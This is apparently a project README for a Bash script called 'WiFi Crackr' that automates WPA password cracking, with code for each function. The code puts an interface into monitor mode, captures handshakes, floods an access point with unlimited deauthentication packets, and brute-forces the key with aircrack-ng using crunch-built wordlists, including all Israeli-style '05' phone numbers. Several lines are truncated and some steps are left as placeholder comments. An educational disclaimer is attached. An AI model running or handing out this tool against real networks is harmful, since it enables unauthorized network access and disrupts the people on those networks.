Made by: Omer Shor

WiFi Crackr Project

The WiFi Crackr is a Bash script designed to demonstrate the process of cracking WiFi passwords using readily available tools. This project serves as an educational tool to understand WiFi security and the importance of strong passwords.

Project Overview

The script automates the process of:

- Setting up the necessary tools
- Scanning for WiFi networks
- Capturing network handshakes
- Attempting to crack the captured handshake

Script Functions

1. colors()

Defines color codes for output formatting:

```
function colors(){
    RED="\033[0;31m"
    GREEN="\033[0;32m"
    YELLOW="\033[0;33m"
    BLUE="\033[0;34m"
    PURPLE="\033[0;35m"
    NC="\033[0m" # No Color
}
```

2. d_figlet()

Checks for and installs figlet, then uses it to display the project title:

```
function d_figlet() {
    if ! command -v figlet &> /dev/null 2>&1; then
        echo -e "${RED}[-]${NC} Figlet is not installed, start installing figlet."
        sudo apt update &> /dev/null 2>&1;
        sudo apt install figlet -y &> /dev/null 2>&1;
    fi
    figlet "WiFi Crackr"
    echo -e "${BLUE}[#]${NC} Hello! and welcome to the WiFi Crackr"
}
```

3. d_aircrack()

Checks for and installs aircrack-ng:

```
function d_aircrack(){
    if ! command -v aircrack-ng &> /dev/null 2>&1; then
        echo -e "${RED}[-]${NC} aircrack-ng is not installed"
        echo -e "${BLUE}[#]${NC} start installing aircrack-ng"
        sudo apt install aircrack-ng -y &> /dev/null 2>&1;
    else
        echo -e "${GREEN}[+]${NC} aircrack-ng is installed!"
    fi
}
```

4. d_crunch()

Checks for and installs crunch:

```
function d_crunch(){
    if ! command -v crunch &> /dev/null 2>&1; then
        echo -e "${RED}[-]${NC} crunch is not installed"
        echo -e "${BLUE}[#]${NC} start installing crunch"
        sudo apt install crunch -y &> /dev/null 2>&1;
    else
        echo -e "${GREEN}[+]${NC} crunch is installed!"
    fi
}
```

5. wifi_crackr()

Main function that sets up the environment:

```
wifi_crackr() {
    echo -e "${BLUE}[#]${NC} Welcome to WiFi Crackr - Your go-to tool for Wi-Fi password cracking usi
    if [[ $(id -u) != 0 ]]; then
        echo -e "${RED}[-]${NC} Please run the script with root account"
        exit 1
    else
        echo -e "${GREEN}[+]${NC} You will move forward to start scanning your target, Enjoy!"
    fi
    TS=$(date +%H:%M)
    WiFi_Crackr="WiFi_Crackr_$TS"
    mkdir -p $WiFi_Crackr
    cd $WiFi_Crackr
}
```

6. interface()

Allows user to select a network interface:

```
function interface(){
    while true; do
        echo -e "${BLUE}[#]${NC} Your interfaces"
        iw dev | grep Interface | awk '{print NR ". " $2}'
        read -p "${echo -e "${PURPLE}[?]${NC} Which network interface would you like to use? (enter r
        selected_interface=$(iw dev | grep Interface | awk -v num="$choice" 'NR == num {print $2}')
        if [ -n "$selected_interface" ]; then
            echo -e "${GREEN}[+]${NC} You have selected interface: $selected_interface"
            break
        else
            echo -e "${RED}[-]${NC} Invalid selection. Please try again."
        fi
    done
}
```

7. airmon()

Prepares the selected interface for monitoring:

```
function airmon(){
    echo -e "${BLUE}[#]${NC} Checking for any processes that might interfere with airmon-ng..."
    airmon-ng check kill &> /dev/null 2>&1;
    echo -e "${BLUE}[#]${NC} Starting monitor mode on the selected interface: $selected_interface "
    airmon-ng start $selected_interface &> /dev/null 2>&1;
}
```

8. airodump()

Scans for WiFi networks and captures data:

```
function airodump(){
    echo -e "${YELLOW}[!]${NC} The network scan is about to start. To stop it, press Ctrl + C."
    sleep 5
    airodump-ng $selected_interface
    # (Code for getting channel and BSSID from user input)
    gnome-terminal -- bash -c "sudo airodump-ng -w wificupture -c $channel --bssid $BSSID $selected_i
}
```

9. aireplay()

Sends deauthentication packets to capture handshake:

```
function aireplay() {
    echo -e "${BLUE}[#]${NC} Sending unlimited deauthentication packets to the access point with BSSI
    aireplay-ng --deauth 0 -a $BSSID $selected_interface &> /dev/null 2>&1;
    # (Additional code for handling interruptions and retries)
}
```

10. aircrack()

This function attempts to crack the captured handshake using various password list options. It's the core of the password cracking process:

```
function aircrack() {
    while true
    do
        read -p "${echo -e "${PURPLE}[?]${NC}  To use your own password list, press (1). To use a lis
        if [ "$pass_list" == "1" ] || [ "$pass_list" == "2" ] || [ "$pass_list" == "3" ]
            then
                break
        else
            echo -e "${RED}[-]${NC} Invalid input. Please enter 1/2/3"
        fi
    done

    if [ "$pass_list" == "1" ]
    then
        read -p "${echo -e "${PURPLE}[?]${NC}  Please enter the full path of your password list: "}"
        aircrack-ng wificupture-01.cap -w "$user_pass_list" | tee Password_cracking.txt
    elif [ "$pass_list" == "2" ]
    then
        echo -e "${BLUE}[#]${NC} Creating a password list of all possible phone numbers starting with
        crunch 10 10 -t 05%%%%%%% -o phone_numbers.txt &> /dev/null 2>&1;
        echo -e "${BLUE}[#]${NC} Starting the WiFi network password cracking"
        aircrack-ng wificupture-01.cap -w "phone_numbers.txt" | tee Password_cracking.txt
    elif [ "$pass_list" == "3" ]
    then
        # Code for creating custom password list using Crunch
        echo -e "${BLUE}[#]${NC} You have chosen to create the password list yourself"
        # (Code for getting min and max password length)
        # (Code for custom pattern or charset)
        echo -e "${GREEN}[+]${NC} Creating your password list, please be patient"
        crunch $min $max $charset -o $output_file &> /dev/null 2>&1;
        echo -e "${BLUE}[#]${NC} Starting the WiFi network password cracking"
        aircrack-ng wificupture-01.cap -w $output_file | tee Password_cracking.txt
    fi

    if grep -q "KEY FOUND!" Password_cracking.txt
    then
        fpass=$(cat Password_cracking.txt | grep -w "FOUND!" | awk -F "[" '{print $2}' | head -n 1 |
        echo -e "${GREEN}[+]${NC} Password found, the password is: $fpass"
    else
        echo -e "${RED}[-]${NC} No matching key found for password cracking"
    fi
}
```

This function offers three options for password cracking:

1. **User-defined password list:** The user can provide their own list of passwords to attempt.
2. **Phone number list:** The script generates a list of all possible 10-digit phone numbers starting with '05' using the crunch tool.
3. **Custom password list:** The user can create a custom password list using crunch, specifying minimum and maximum password lengths, and optionally a custom pattern or character set.

Key features of this function include:

- User input validation to ensure a valid option is selected.
- Integration with the crunch tool for generating password lists.
- Use of aircrack-ng to attempt cracking the captured handshake file (wificupture-01.cap).
- Output logging to a file (Password_cracking.txt) for later analysis.
- Parsing of the aircrack-ng output to extract the found password, if successful.
- Clear success or failure messages to the user.

This function demonstrates the importance of password complexity and the potential vulnerabilities of weak passwords, especially in the context of WiFi security.

Educational Value

This project demonstrates:

- The process of WiFi password cracking
- The importance of strong, complex passwords for WiFi networks
- How to use common network security tools
- Bash scripting techniques for automation

Disclaimer: This tool is intended strictly for educational purposes only. It should only be used in controlled environments with explicit permission. Unauthorized use of this tool on networks you do not own or have explicit permission to test is illegal and unethical. The author and presenter of this project do not condone or support any illegal or malicious use of this software.